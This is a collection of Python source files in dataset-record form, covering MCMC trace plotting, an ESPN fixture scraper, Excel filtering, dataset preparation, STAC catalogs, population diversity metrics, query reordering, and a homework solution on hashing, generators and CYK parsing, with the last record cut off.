+{"seq_id":"150209404","text":"import sys\r\nimport matplotlib.pyplot as plt\r\n\r\nsys.path.append('D:\\\\Analyses\\\\Long-Lived-pymc3\\\\TreeNob1875XDate')\r\nfrom GetParamStats import GetParamValues,GetNames\r\nfrom RunningQuantiles import pltRunningQuantile\r\nsys.path.append( '../')   \r\nsys.path.append( '../../')   \r\n\r\n\r\nfrom HistoByHalf import HistoByHalf\r\nCaseName='..\\\\NormRecruit.csv'\r\n\r\nnthin=1000\r\nburn=0\r\n\r\npname=GetNames(CaseName)\r\n\r\n\r\nfor p in pname:\r\n      x=GetParamValues(CaseName, p,burn=burn,nthin=nthin)\r\n      print (p,len(x))\r\n      plt.close()\r\n      HistoByHalf(plt,x, ParamName=p,LowCol='r',UppCol='b',alpha=0.25)\r\n      if p[:7]=='Rel_Abu':\r\n          plt.xlim(-.05,1.05)\r\n      plt.xlabel('Number of Iterations')\r\n      plt.ylabel('Confidence Bounds')\r\n      fname='trace_'+p+'.png'\r\n      plt.savefig(fname, format=\"png\")\r\n\r\n","sub_path":"ConstRecruitConstM/DemoConverge/Traces_NormRecruit.py","file_name":"Traces_NormRecruit.py","file_ext":"py","file_size_in_byte":806,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"82576996","text":"# -*- coding: utf-8 -*-\nimport scrapy\nfrom bs4 import BeautifulSoup as bs\nimport re\nfrom espn.items import MatchItem\n\n\nclass FixtureSpider(scrapy.Spider):\n    name = \"fixture\"\n    allowed_domains = [\"espnfc.com\"]\n    #start_urls = (\n        #'http://www.espnfc.com/',\n    #)\n\n    season = 2015\n    FIXTURE_URL = \"http://www.espnfc.com/{type}/{name_en}/{id}/fixtures?leagueId=0&season={season}\"\n    team_pat = re.compile(\"teamlogos/soccer/\\d+/(\\d+).png\")\n\n    def start_requests(self):\n        import dataset\n        SERVER = self.settings.get(\"SERVER\")\n        if SERVER:\n            db = dataset.connect(SERVER)\n            teams = db.query(\"select id, name_en, type from yt_team\")\n            for team in teams:\n                team[\"name_en\"] = team[\"name_en\"].encode(\"utf-8\")\n                url = self.FIXTURE_URL.format(season=self.season, **team)\n                yield scrapy.Request(url,\n                                     meta={\"team\": team})\n\n    def parse(self, response):\n        for item in self.parse_fixture(response):\n            yield item\n        team = response.meta[\"team\"]\n        seasons = response.xpath(\".//*[@id='club-season-dropdown']/select/option/@value\").extract()\n        for season in seasons:\n            url = self.FIXTURE_URL.format(season=season, **team)\n            yield scrapy.Request(url,\n                                 meta={\"team\": team})\n\n    def parse_fixture(self, response):\n        #team = response.meta[\"team\"]\n        response = bs(response.body, [\"lxml\"])\n        fixtures = response.find_all(\"a\", attrs={\"class\": \"score-list\"})\n        for fixture in fixtures:\n            espn_id = fixture.get(\"data-gameid\")\n            date = fixture.find(\"div\", attrs={\"class\": \"headline\"}).text\n            finish = fixture.find(\"div\", attrs={\"class\": \"status\"})\n            if not finish:\n                finish = 2\n            else:\n                finish = finish.text\n\n            home_logo = fixture.find(\"div\", attrs={\"class\": \"score-home-team\"}).find(\"img\")\n            matched = self.team_pat.search(home_logo.get(\"src\"))\n            if matched:\n                home_id = matched.group(1)\n            else:\n                home_id = home_logo.get(\"alt\")\n\n            result = fixture.find(\"div\", attrs={\"class\": \"result\"})\n            home_score = result.find(\"span\", attrs={\"class\": \"home-score\"}).text\n            away_score = result.find(\"span\", attrs={\"class\": \"away-score\"}).text\n\n            away_logo = fixture.find(\"div\", attrs={\"class\": \"score-away-team\"}).find(\"img\")\n            matched = self.team_pat.search(away_logo.get(\"src\"))\n            if matched:\n                away_id = matched.group(1)\n            else:\n                away_id = away_logo.get(\"alt\")\n\n            league_id = fixture.find(\"div\", attrs={\"class\": \"score-competition\"}).get(\"title\")\n\n            match = MatchItem(home_id=home_id,\n                              away_id=away_id,\n                              date=date,\n                              league_id=league_id,\n                              home_score=home_score,\n                              away_score=away_score,\n                              finish=finish,\n                              espn_id=espn_id)\n            yield match\n\n","sub_path":"espn/spiders/fixture.py","file_name":"fixture.py","file_ext":"py","file_size_in_byte":3231,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"298177793","text":"import xlwt\nimport xlrd\n\n#  用来获取本地 文件名\ndef file_name(file_dir):\n    import os\n    L = []\n    for root, dirs, files in os.walk(file_dir):\n        # print(root) #当前目录路径\n        # print(dirs) #当前路径下所有子目录\n        L.append(files) #当前路径下所有非目录子文件\n    return L[0]\n\n# 得到表中所有文件名\ndef get_cars_name(path):\n    car_info = xlrd.open_workbook(path)\n    # 通过sheet索引获得sheet对象\n    sheet0 = car_info.sheet_by_index(0)\n    result = sheet0.col_values(0)[1:]\n    return result\n\ndef filter(all_path, find_path):\n    car_info = xlrd.open_workbook(all_path)\n    # 通过sheet索引获得sheet对象\n    sheet0 = car_info.sheet_by_index(0)\n    count = sheet0.nrows\n    find_cars = file_name(find_path)\n    L = []\n    for item in find_cars:\n        item = item.split(\"_\")[0]\n        L.append(item)\n\n    # 创建新表\n    new_car_info = xlwt.Workbook(encoding='utf-8', style_compression=0)\n    # 写入新表\n    sheet1 = new_car_info.add_sheet('车辆二次分析', cell_overwrite_ok=True)\n    sheet1.write(0, 0, \"车牌\")\n    sheet1.write(0, 1, \"时间\")\n    sheet1.write(0, 2, \"车道编号\")\n    sheet1.write(0, 3, \"方向\")\n    for i in range(1, count):\n        car = sheet0.row_values(i)[0]\n        # print(car)\n        if car in L:\n            print(\"有： \" + car)\n            sheet1.write(i, 0, sheet0.row_values(i)[0])\n            sheet1.write(i, 1, sheet0.row_values(i)[1])\n            sheet1.write(i, 2, sheet0.row_values(i)[2])\n            sheet1.write(i, 3, sheet0.row_values(i)[3])\n            sheet1.write(i, 4, sheet0.row_values(i)[4])\n\n        else:\n            print(\"NO\")\n    new_car_info.save(r\"C:\\Users\\lsy\\Desktop\\kc\\fliter.xls\")\n\n\nall_path = r\"C:\\Users\\lsy\\Desktop\\kc\\pic.xls\"\nfind_path = r\"C:\\Users\\lsy\\Desktop\\kc\\pic\"\n\nall_cars = get_cars_name(all_path)\nfilter(all_path, find_path)\n\n","sub_path":"python/filter_excle.py","file_name":"filter_excle.py","file_ext":"py","file_size_in_byte":1893,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"369934367","text":"import os, random, shutil\n# from shutil import copyfile\nfrom IPython import embed\n\n# You only need to change this line to your dataset download path\nsrc_path = '../train'\n\nif not os.path.isdir(src_path):\n    print('please change the src_path')\n\ndst_ds_path = './datasets/pclreid'\nif not os.path.isdir(dst_ds_path):\n    os.mkdir(dst_ds_path)\n\n#---------------------------------------\n#train\ntrain_save_path = dst_ds_path + '/train'\nif not os.path.isdir(train_save_path):\n    os.mkdir(train_save_path)\n\nfile_handle = open(src_path + \"/label.txt\", \"r\") \nlines = file_handle.readlines()\nfile_handle.close()\n\nprint(\"There are {} lines in label.txt. Is that 72824?\".format(len(lines)))\n\nc = 0\n\nfor line in lines:\n    line = line.strip()   # to erase blank\n    line = line.strip('\\n')  # to erase \\n\n    line_list = line.split(':')\n    \n    src_img_filename  = line_list[0]\n    cls_name          = line_list[1] \n    \n    src_file_path = src_path + '/images/' + src_img_filename\n\n    dst_filename = cls_name + '_c' + str(random.randint(1,99)) + 's1_' + src_img_filename\n    # dst_filename = cls_name + '_c1s1_' + src_img_filename\n    dst_file_path = train_save_path + '/' + dst_filename\n    \n    shutil.move(src_file_path, dst_file_path)\n    \n    c += 1\n    if c % 10000 == 0:\n        print('{} files copied.'.format(c)) \n\nprint('train dataset completed.  {} files copied.'.format(c))\n\n\n","sub_path":"tools/prepare_train-data.py","file_name":"prepare_train-data.py","file_ext":"py","file_size_in_byte":1379,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"490483366","text":"from datetime import datetime\nfrom pystac.extensions.eo import Band, SummariesEOExtension\nfrom pystac.extensions.projection import SummariesProjectionExtension\n\nfrom pystac import (Catalog, Collection, Extent, Link, Provider, SpatialExtent,\n                    TemporalExtent, Summaries)\n\nspot_sensor = {\"S4\": \"SPOT 4\", \"S5\": \"SPOT 5\"}\n\nimage_types = {\n    \"m20_1\": \"B1\",\n    \"m20_2\": \"B2\",\n    \"m20_3\": \"B3\",\n    \"m20_4\": \"B4\",\n    \"p10_1\": \"pan\"\n}\n\nproj_epsg = {f\"utm{str(i).zfill(2)}\": 26900 + i for i in range(1, 25)}\nproj_epsg[\"lcc00\"] = 3979\n\nspot_catalog = Catalog(\n    id=\"nrcan-spot-ortho\",\n    description=\"STAC Catalog for orthorectified SPOT 4 and 5 data of Canada\",\n    title=\"STAC Catalog for orthorectified SPOT 4 and 5 data of Canada\",\n    stac_extensions=None)\n\nspot45_catalog = Catalog(\n    id=\"canada-spot-orthoimages\",\n    description=\"STAC Catalog for orthorectified SPOT 4 and 5 data of Canada\",\n    title=\"STAC Catalog for orthorectified SPOT 4 and 5 data of Canada\",\n    stac_extensions=None)\n\ngeobase_providers = [\n    Provider(\n        \"Government of Canada\",\n        \"Natural Resources; Strategic Policy and Results Sector\",\n        [\"licensor\", \"processor\"],\n        \"https://open.canada.ca/data/en/dataset/d799c202-603d-4e5c-b1eb-d058803f80f9\"\n    ),\n    Provider(\"PCI Geomatics\", \"info@pci.com\", [\"processor\", \"host\"],\n             \"www.pcigeomatics.com\"),\n    Provider(\"Sparkgeo\", \"info@sparkegeo.com\", [\"processor\", \"host\"],\n             \"www.sparkgeo.com\"),\n]\n\ngeobase_license = Link(\n    \"license\",\n    \"https://open.canada.ca/en/open-government-licence-canada\",\n    \"text\",\n    \"Open Government Licence Canada\",\n)\n\nspot_extents = Extent(\n    SpatialExtent([[\n        35.324804300674494, -169.69075486542908, 68.02144065697097,\n        -15.505275588132838\n    ]]),\n    TemporalExtent([[\n        datetime.strptime(\"2005-05-01\", \"%Y-%m-%d\"),\n        datetime.strptime(\"2010-10-31\", \"%Y-%m-%d\"),\n    ]]),\n)\n\nspot_bands = {\n    \"B1\":\n    Band(\n        dict(name=\"B1\",\n             common_name=\"green\",\n             description=\"Green: 500-590nm\",\n             center_wavelength=0.545,\n             full_width_half_max=0.09)),\n    \"B2\":\n    Band(\n        dict(name=\"B2\",\n             common_name=\"red\",\n             description=\"Red: 610-680 nm\",\n             center_wavelength=0.645,\n             full_width_half_max=0.07)),\n    \"B3\":\n    Band(\n        dict(name=\"B3\",\n             common_name=\"nir\",\n             description=\"Near Infrared: 780-890 nm\",\n             center_wavelength=0.835,\n             full_width_half_max=0.11)),\n    \"B4\":\n    Band(\n        dict(name=\"B4\",\n             common_name=\"swir16\",\n             description=\"ShortWave Infrared: 1580-1750 nm\",\n             center_wavelength=1.665,\n             full_width_half_max=0.170)),\n}\n\nspot_pan = {\n    \"S4\":\n    Band(\n        dict(name=\"pan\",\n             common_name=\"pan\",\n             description=\"Panchromatic: 610-680 nm\",\n             center_wavelength=0.645,\n             full_width_half_max=0.07)),\n    \"S5\":\n    Band(\n        dict(name=\"pan\",\n             common_name=\"pan\",\n             description=\"Panchromatic: 480-710 nm\",\n             center_wavelength=0.595,\n             full_width_half_max=0.230))\n}\n\nspot4_collection = Collection(\n    id=\"canada-spot4-orthoimages\",\n    description=\"SPOT 4 orthoimages of Canada\",\n    extent=spot_extents,\n    title=\"SPOT 4 orthoimages of Canada\",\n    stac_extensions=[\n        \"https://stac-extensions.github.io/eo/v1.0.0/schema.json\",\n        \"https://stac-extensions.github.io/projection/v1.0.0/schema.json\",\n    ],\n    license=\"Proprietery\",\n    keywords=[\"SPOT\", \"Geobase\", \"orthoimages\"],\n    providers=geobase_providers,\n    summaries=Summaries(\n        dict(\n            platform=[\"SPOT 5\"],\n            instruments=[\"HRVIR\"],\n            constellation=[\"SPOT\"],\n            gsd=[10, 20],\n        )))\neo_ext = SummariesEOExtension(spot4_collection)\neo_ext.bands = list(spot_bands.values()) + [spot_pan[\"S4\"]]\nproj_ext = SummariesProjectionExtension(spot4_collection)\nproj_ext.epsg = list(proj_epsg.values())\n\nspot5_collection = Collection(\n    id=\"canada-spot5-orthoimages\",\n    description=\"SPOT 5 orthoimages of Canada\",\n    extent=spot_extents,\n    title=\"SPOT 5 orthoimages of Canada\",\n    stac_extensions=[\n        \"https://stac-extensions.github.io/eo/v1.0.0/schema.json\",\n        \"https://stac-extensions.github.io/projection/v1.0.0/schema.json\",\n    ],\n    license=\"Proprietery\",\n    keywords=[\"SPOT\", \"Geobase\", \"orthoimages\"],\n    providers=geobase_providers,\n    summaries=Summaries(\n        dict(\n            platform=[\"SPOT 5\"],\n            instruments=[\"HVG\"],\n            constellation=[\"SPOT\"],\n            gsd=[2.5, 5, 10, 20],\n        )))\neo_ext = SummariesEOExtension(spot5_collection)\neo_ext.bands = list(spot_bands.values()) + [spot_pan[\"S5\"]]\nproj_ext = SummariesProjectionExtension(spot5_collection)\nproj_ext.epsg = list(proj_epsg.values())\n\n\ndef build_root_catalog():\n    spot4_collection.add_link(geobase_license)\n    spot5_collection.add_link(geobase_license)\n    spot_catalog.add_child(spot45_catalog)\n    spot45_catalog.add_child(spot4_collection)\n    spot45_catalog.add_child(spot5_collection)\n    return spot_catalog\n","sub_path":"src/stactools/nrcan_spot_ortho/stac_templates.py","file_name":"stac_templates.py","file_ext":"py","file_size_in_byte":5209,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"427221583","text":"# -*- coding: utf-8 -*-\n\nimport numpy as np\nfrom sys import maxsize\n\n\nfrom editdistance import eval\n\n# levenshtein distance between two genomes: used codons + tail\ndef genome_distance(ind1, ind2):\n    return eval(ind1.genome, ind2.genome)\n    \ndef genome_diff(ind1, ind2):\n    return genome_distance(ind1, ind2) / max(len(ind1.genome), len(ind2.genome))\n    \n# levenshtein distance between two effected regions in two genomes: used_codon + \ndef effective_region_distance(ind1, ind2):\n    return eval(ind1.genome[:ind1.used_codons], ind2.genome[:ind2.used_codons])\n    \ndef effective_region_diff(ind1, ind2):\n    return effective_region_distance(ind1, ind2) / max(ind1.used_codons, ind2.used_codons)\n\n# genome disversity of the population    \ndef genome_diversity(population):\n    diversity = 0.0\n    for i in range(len(population)-1):\n        for j in range(i+1, len(population)):\n#            diversity += genome_distance(population[i], population[j])\n            diversity += genome_diff(population[i], population[j])\n        \n    # average the distance\n    diversity = diversity / (len(population) * (len(population) - 1)) * 2\n    \n    return diversity\n\n# population diveristy in terms of used_codons    \ndef effective_diversity(population):\n    diversity = 0.0\n    for i in range(len(population)-1):\n        for j in range(i+1, len(population)):\n#            diversity += effected_region_distance(population[i], population[j])\n            diversity += effective_region_diff(population[i], population[j])\n        \n    # average the distance\n    diversity = diversity / (len(population) * (len(population) - 1)) * 2\n    \n    return diversity\n\n\n\ndef hamming(list1, list2):\n    if (len(list1) != len(list2)):\n        return max(len(list1), len(list2))\n    #assert len(list1) == len(list2)\n    return sum(c1 != c2 for c1, c2 in zip(list1, list2))\n    \n# use hamming distance for dissimilarity    \ndef semantic_dissimilarity(ind1, ind2):\n    if (len(ind1.semantic) == len(ind2.semantic) == 0):\n        return 0.0\n        \n    return hamming(ind1.semantic, ind2.semantic) / max(len(ind1.semantic), len(ind2.semantic))\n    \n    \n# use mean absolute distance for semantic distance    \ndef semantic_distance(ind1, ind2):\n    \n    if (len(ind1.semantic) == len(ind2.semantic) == 0):\n        return 0.0    \n        \n        \n    if len(ind1.semantic) == 0:\n        return np.nanmean(ind2.semantic)\n    elif len(ind1.semantic) == 0:\n        return np.nanmean(ind1.semantic())\n    else:\n        return np.nanmean([abs(s1 - s2) for s1,s2 in zip(ind1.semantic, ind2.semantic)])\n\n    \ndef semantic_diversity(population):\n    diversity = 0.0\n    for i in range(len(population)-1):\n        for j in range(i+1, len(population)):\n            #diversity += semantic_dissimilarity(population[i], population[j])\n            diversity += semantic_distance(population[i], population[j])\n            \n    diversity = diversity / (len(population) * (len(population) - 1)) * 2\n    \n    diversity = round(diversity, 3)\n            \n    return diversity\n\n    \ndef semantic_dispersion(population):\n    semantic_array = np.array([ind.semantic for ind in population if len(ind.semantic) != 0])\n    #print(semantic_array)\n    \n    #print(semantic_array.shape)\n    \n    semantic_mean = np.mean(semantic_array, axis=0)\n    #print(\"Mean of semantic\", semantic_mean)\n    #semantic_std = np.std(semantic_array, axis=0)\n    \n    # use ddof=1 to specify sample variance, rather than population variane (ddof=0))\n    # semantic_var = np.var(semantic_array, axis=0, ddof=1)\n    \n    \n    dispersion = 0.0\n    \n    for semantic in semantic_array:\n        dispersion += np.sqrt(sum((semantic - semantic_mean)**2))\n        \n    dispersion /= len(semantic_array)\n    \n    dispersion = round(dispersion, 3)\n    \n    return dispersion\n \n# Tree edit distance between two individuals\n \n'''def tree_diversity(population):\n    diversity = 0.0\n    for i in range(len(population) - 1):\n        for j in range(i+1, len(population)):\n            diversity += population[i].tree_edit_distance(population[j])\n            \n    diversity = diversity / (len(population) * (len(population)-1)) * 2\n\n    return diversity  '''\n    \ndef tree_diversity(population):\n    diversity = 0.0\n    best = max(population)\n    for i in range(len(population)):\n        diversity += population[i].tree_edit_distance(best)\n    diversity = diversity / len(population)\n    return diversity\n    \n# Phenotype diveristy  = no of unique fitnesses    \ndef phenotype_diversity(population):\n    unique_fitnesses = set([ind.fitness for ind in population])\n    \n    diversity = len(unique_fitnesses) / len(population)\n    \n    return diversity\n    \n","sub_path":"src/operators/diversity.py","file_name":"diversity.py","file_ext":"py","file_size_in_byte":4661,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"530562542","text":"#!/usr/bin/env python\r\n# -*- coding: utf-8 -*-\r\n\r\n# Reorder the query based on results and relevance feedback\r\n# Simply call set_order with parameters of current query and the query results( with relevance feedback ) \r\n# to get best query for next iteration( reordered query )\r\n\r\nimport urllib2\r\nimport base64\r\nimport json\r\nimport sys\r\nimport string\r\nimport operator\r\nimport re\r\n\r\ndef set_order(keywords, results):\r\n    matrix = dict()\r\n    for word1 in keywords:\r\n        matrix[word1] = dict()\r\n        for word2 in keywords:\r\n            if word2 != word1:\r\n                matrix[word1][word2] = 0\r\n                for item in results:\r\n                    #print word1.lower()+\".{0,17}\"+word2.lower()\r\n                    remode = word1.lower()+\".{1,5}\"+word2.lower()\r\n                    if re.search(remode,item[u'Description'].encode('utf-8').lower()) or re.search(remode,item[u'Title'].encode('utf-8').lower()):\r\n                        #print \"Got you!!!!\"\r\n                        if item[u'relevant']:\r\n                            matrix[word1][word2] = matrix[word1][word2] + 1\r\n                        else:\r\n                            matrix[word1][word2] = matrix[word1][word2] - 1\r\n    best_query = keywords\r\n    score = 0\r\n    #print keywords\r\n    for word1 in keywords:\r\n        words_list = keywords[:]\r\n        query = [word1]\r\n        words_list.remove(word1)\r\n        curr_word = word1\r\n        while len(query) < len(keywords):\r\n            #print query\r\n            #print words_list\r\n            word_to_add = None\r\n            for word2 in words_list:\r\n                if word2 not in query and ( word_to_add==None or ( matrix[curr_word].has_key(word2) and  matrix[curr_word][word2]>matrix[curr_word][word_to_add] ) ):\r\n                    word_to_add = word2\r\n            #print word_to_add\r\n            query.append(word_to_add)\r\n            words_list.remove(word_to_add)\r\n            curr_word = word_to_add\r\n        the_score = 0\r\n        for i in range(len(query)-1):\r\n            #print i\r\n            the_score = the_score + matrix[query[i]][query[i+1]]\r\n        #print the_score\r\n        if the_score > score:\r\n            best_query = query\r\n            score = the_score\r\n    return best_query\r\n\r\n\r\n\r\nif __name__ ==\"__main__\":\r\n    pass\r\n","sub_path":"keyword_order.py","file_name":"keyword_order.py","file_ext":"py","file_size_in_byte":2277,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"271186035","text":"# Skeleton file for HW6 - Spring 2021 - extended intro to CS\r\n\r\n# Add your implementation to this file\r\n\r\n# You may add other utility functions to this file,\r\n# but you may NOT change the signature of the existing ones.\r\n\r\n# Change the name of the file to include your ID number (hw6_ID.py).\r\n\r\n# Enter all IDs of participating students as strings, separated by commas.\r\n\r\n# For example: SUBMISSION_IDS = [\"123456\", \"987654\"] if submitted in a pair or SUBMISSION_IDS = [\"123456\"] if submitted alone.\r\n\r\nSUBMISSION_IDS = [\"206962359\", \"316296771\"]\r\n\r\n\r\nimport random\r\n\r\n\r\n############\r\n# QUESTION 1\r\n############\r\n\r\n# Q1 a\r\ndef prefix_suffix_overlap(lst, k):\r\n\tresult_list = []\r\n\tfor i in range(len(lst)):\r\n\t\tfor j in range(len(lst)):\r\n\t\t\tif i != j:\r\n\t\t\t\tif (lst[i][:k] == lst[j][-k:]):\r\n\t\t\t\t\tresult_list.append((i,j))\r\n\treturn result_list\r\n\r\n\r\n# Q1 c\r\nclass Dict:\r\n\tdef __init__(self, m, hash_func=hash):\r\n\t\t\"\"\" initial hash table, m empty entries \"\"\"\r\n\t\tself.table = [[] for i in range(m)]\r\n\t\tself.hash_mod = lambda x: hash_func(x) % m\r\n\r\n\tdef __repr__(self):\r\n\t\tL = [self.table[i] for i in range(len(self.table))]\r\n\t\treturn \"\".join([str(i) + \" \" + str(L[i]) + \"\\n\" for i in range(len(self.table))])\r\n\r\n\tdef insert(self, key, value):\r\n\t\t\"\"\" insert key,value into table\r\n\t\t\tAllow repetitions of keys \"\"\"\r\n\t\ti = self.hash_mod(key)  # hash on key only\r\n\t\titem = [key, value]  # pack into one item\r\n\t\tself.table[i].append(item)\r\n\r\n\tdef find(self, key):\r\n\t\t\"\"\" returns ALL values of key as a list, empty list if none \"\"\"\r\n\t\tresult_lst = []\r\n\t\ti = self.hash_mod(key)\r\n\t\tfor curr in self.table[i]:\r\n\t\t\tif curr[0] == key:\r\n\t\t\t\tresult_lst.append(curr[1])\r\n\t\treturn result_lst\r\n\r\n\r\n\r\n# Q1 d\r\ndef prefix_suffix_overlap_hash1(lst, k):\r\n\tresult_lst = []\r\n\td = Dict(len(lst))\r\n\r\n\t# O(nk)\r\n\tfor i in range(len(lst)): # n iterations\r\n\t\td.insert(lst[i][:k],i) # O(k) - slicing, O(1) - insert(average)\r\n\r\n\t# O(nk)\r\n\tfor j in range(len(lst)): # n iterations\r\n\t\tmatch_indexes = d.find(lst[j][-k:]) # O(k) - slicing, O(1) - find(average)\r\n\t\tfor index in match_indexes: # Q1-e: never happens\r\n\t\t\tif index != j:\r\n\t\t\t\tresult_lst.append((index,j))\r\n\r\n\treturn result_lst # Q1-e: empty list\r\n\t\t\r\n\r\n\t\r\n############\r\n# QUESTION 2\r\n############\r\n\r\n# Q2 a\r\ndef powers_of_2():\r\n\tnumber = 1\r\n\twhile True:\r\n\t\tyield number # starting 2^0\r\n\t\tnumber = number * 2\r\n\r\n\r\n# Q2 b\r\ndef pi_approx_monte_carlo():\r\n\tpower_gen = powers_of_2()\r\n\tnum_inside, total_amount = 0,0\r\n\twhile True:\r\n\t\tcurr_power = next(power_gen)\r\n\t\tfor i in range(curr_power):\r\n\t\t\tx = random.random()\r\n\t\t\ty = random.random()\r\n\t\t\tif x**2 + y**2 <= 1.0:\r\n\t\t\t\tnum_inside +=1\r\n\t\ttotal_amount += curr_power\r\n\t\tyield (4*num_inside/total_amount)\r\n\r\n# Q2 c\r\ndef leibniz():\r\n\tn = 0\r\n\twhile True:\r\n\t\tyield ((-1)**n)/(2*n+1)\r\n\t\tn +=1\r\n\r\ndef infinite_series(gen):\r\n\tsum_of_gen = 0\r\n\tfor num in gen:\r\n\t\tsum_of_gen += num\r\n\t\tyield sum_of_gen\r\n\r\n\r\ndef pi_approx_leibniz():\r\n\tleb_gen = leibniz()\r\n\tsum_gen = infinite_series(leb_gen)\r\n\tpower_gen = powers_of_2()\r\n\twhile True:\r\n\t\tfor i in range(next(power_gen)-1):\r\n\t\t\tnext(sum_gen)\r\n\t\tyield 4*next(sum_gen)\r\n\r\n\r\n# Q2 d\r\ndef unit_slicing():\r\n\tpower_gen = powers_of_2()\r\n\twhile True:\r\n\t\tpower = next(power_gen)\r\n\t\tlst_res = [(i/power) for i in range(power)]\r\n\t\tyield lst_res\r\n\t\t\t\t\r\n\r\n\r\ndef integral(func, a, b):\r\n\tpower_gen = powers_of_2()\r\n\twhile True:\r\n\t\tintegral_sum = 0\r\n\t\tpower = next(power_gen)\r\n\t\twidth = (b-a)/ power\r\n\t\tfor i in range(power):\t  \r\n\t\t\tintegral_sum += func(a+width*i)*((a+width*(i+1))-(a+width*i))\r\n\t\tyield integral_sum\r\n\r\ndef pi_approx_integral():\r\n\tintegral_gen = integral((lambda x: (1-x**2)**0.5),-1,1)\r\n\twhile True:\r\n\t\tyield 2* next(integral_gen)\r\n\r\n\r\n############\r\n# QUESTION 6\r\n############\r\n\r\n\r\n# Q6 c\r\ndef CYK_d(st, rule_dict, start_var):\r\n\t''' can string st be generated from grammar? '''\r\n\tn = len(st)\r\n\r\n\t# table for the dynamic programming algorithm\r\n\ttable = [[None for j in range(n+1)] for i in range(n)]\r\n\t#Initialize the relevant triangular region with empty sets\r\n\tfor i in range(n):\r\n\t\tfor j in range(i+1,n+1):\r\n\t\t\ttable[i][j] = [set(), \"none\"]\r\n\r\n\t# Fill the table cells representing substrings of length 1\r\n\tfill_length_1_cells_d(table, rule_dict, st)\r\n \r\n\t# Fill the table cells representing substrings of length >=2\r\n\tfor length in range(2, n+1):\r\n\t\tfor i in range(0, n-length+1):\r\n\t\t\tj = i+length\r\n\t\t\tfill_cell_d(table, i,j, rule_dict)\r\n\t\t\t\r\n\tif (start_var in table[0][n][0]) == False:\r\n\t\treturn -1\r\n\telse:\r\n\t\treturn table[0][n][1]\r\n\r\ndef fill_length_1_cells_d(table, rule_dict, st):\r\n\tn = len(st)\r\n\tfor i in range(n):\r\n\t\tfor lhs in rule_dict: # lhs is a single variable\r\n\t\t\tif st[i] in rule_dict[lhs]:\r\n\t\t\t   # add variable lhs to T[i][i+1]\r\n\t\t\t   table[i][i+1][0].add(lhs)\r\n\t\ttable[i][i+1][1] = 1\r\n\r\n\r\ndef fill_cell_d(table, i, j, rule_dict):\r\n\tfor k in range(i+1, j): # non trivial partitions of s[i:j]\r\n\t\tfor lhs in rule_dict: # lhs is a single variable\r\n\t\t\tfor rhs in rule_dict[lhs]:\r\n\t\t\t\tif len(rhs) == 2: # rule like A -> XY (not like A -> a)\r\n\t\t\t\t\tX, Y = rhs[0], rhs[1]\r\n\t\t\t\t\tif X in table[i][k][0] and Y in table[k][j][0]:\r\n\t\t\t\t\t\ttable[i][j][0].add(lhs)\r\n\t\t\t\t\t\tif table[i][j][1] == \"none\":\r\n\t\t\t\t\t\t\ttable[i][j][1] = max(1+table[i][k][1],1+table[k][j][1])\r\n\t\t\t\t\t\telse:\r\n\t\t\t\t\t\t\ttable[i][j][1] = min(table[i][j][1], max(1+table[i][k][1],1+table[k][j][1]))\r\n\r\n\r\n########\r\n# Tester\r\n########\r\n\r\ndef test():\r\n\timport math\r\n\r\n\t############\r\n\t# QUESTION 1\r\n\t############\r\n\r\n\t# Q1 a\r\n\tlst = [\"abcd\", \"cdab\", \"aaaa\", \"bbbb\", \"abff\"]\r\n\tk = 2\r\n\tif sorted(prefix_suffix_overlap(lst, k)) != sorted([(0, 1), (1, 0), (4, 1)]):\r\n\t\tprint(\"error in prefix_suffix_overlap\")\r\n\t# Q1 c\r\n\td = Dict(3)\r\n\td.insert(\"a\", 56)\r\n\td.insert(\"a\", 34)\r\n\tif sorted(d.find(\"a\")) != sorted([56, 34]) or d.find(\"b\") != []:\r\n\t\tprint(\"error in Dict.find\")\r\n\r\n  \r\n\t# Q1 d\r\n\tlst = [\"abcd\", \"cdab\", \"aaaa\", \"bbbb\", \"abff\"]\r\n\tk = 2\r\n\tif sorted(prefix_suffix_overlap_hash1(lst, k)) != sorted([(0, 1), (1, 0), (4, 1)]):\r\n\t\tprint(\"error in prefix_suffix_overlap_hash1\")\r\n\r\n\r\n\r\n\t############\r\n\t# QUESTION 2\r\n\t############\r\n\r\n\t# Q2 a\r\n\tgen = powers_of_2()\r\n\tif [next(gen) for i in range(5)] != [1, 2, 4, 8, 16]:\r\n\t\tprint('error in powers_of_2')\r\n\t\r\n\r\n\t# Q2 b\r\n\tgen = pi_approx_monte_carlo()\r\n\tfirst_apporx = next(gen)\r\n\t[next(gen) for i in range(8)]\r\n\ttenth_approx = next(gen)\r\n\t[next(gen) for i in range(9)]\r\n\ttwentyth_approx = next(gen)\r\n\tif abs(first_apporx - math.pi) < abs(tenth_approx - math.pi) or \\\r\n\t\t\tabs(tenth_approx - math.pi) < abs(twentyth_approx - math.pi) or \\\r\n\t\t\tabs(twentyth_approx - math.pi) > 0.01:\r\n\t\tprint('error in pi_approx_monte_carlo')\r\n   \r\n\t# Q2 c\r\n\tgen = leibniz()\r\n\tif [next(gen) for i in range(5)] != [1, -1/3, 1/5, -1/7, 1/9]:\r\n\t\tprint('error in leibniz')\r\n\r\n\tgen = infinite_series(powers_of_2())\r\n\tif [next(gen) for i in range(6)] != [1, 3, 7, 15, 31, 63]:\r\n\t\tprint('error in infinite_series')\r\n\r\n\tleibniz_formula = [1, -1/3, 1/5, -1/7, 1/9, -1/11, 1/13, -1/15, 1/17, -1/19, 1/21, -1/23, 1/25, -1/27, 1/29]\r\n\tleibniz_sum_powers_of_2 = [4*leibniz_formula[0], 4*sum(leibniz_formula[:3]), 4*sum(leibniz_formula[:7]), 4*sum(leibniz_formula[:15])]\r\n\tgen = pi_approx_leibniz()\r\n\tfirst_4_sums = [next(gen) for i in range(4)]\r\n\t[next(gen) for i in range(5)]\r\n\ttenth_approx = next(gen)\r\n\tif first_4_sums != leibniz_sum_powers_of_2 or abs(tenth_approx - math.pi) > 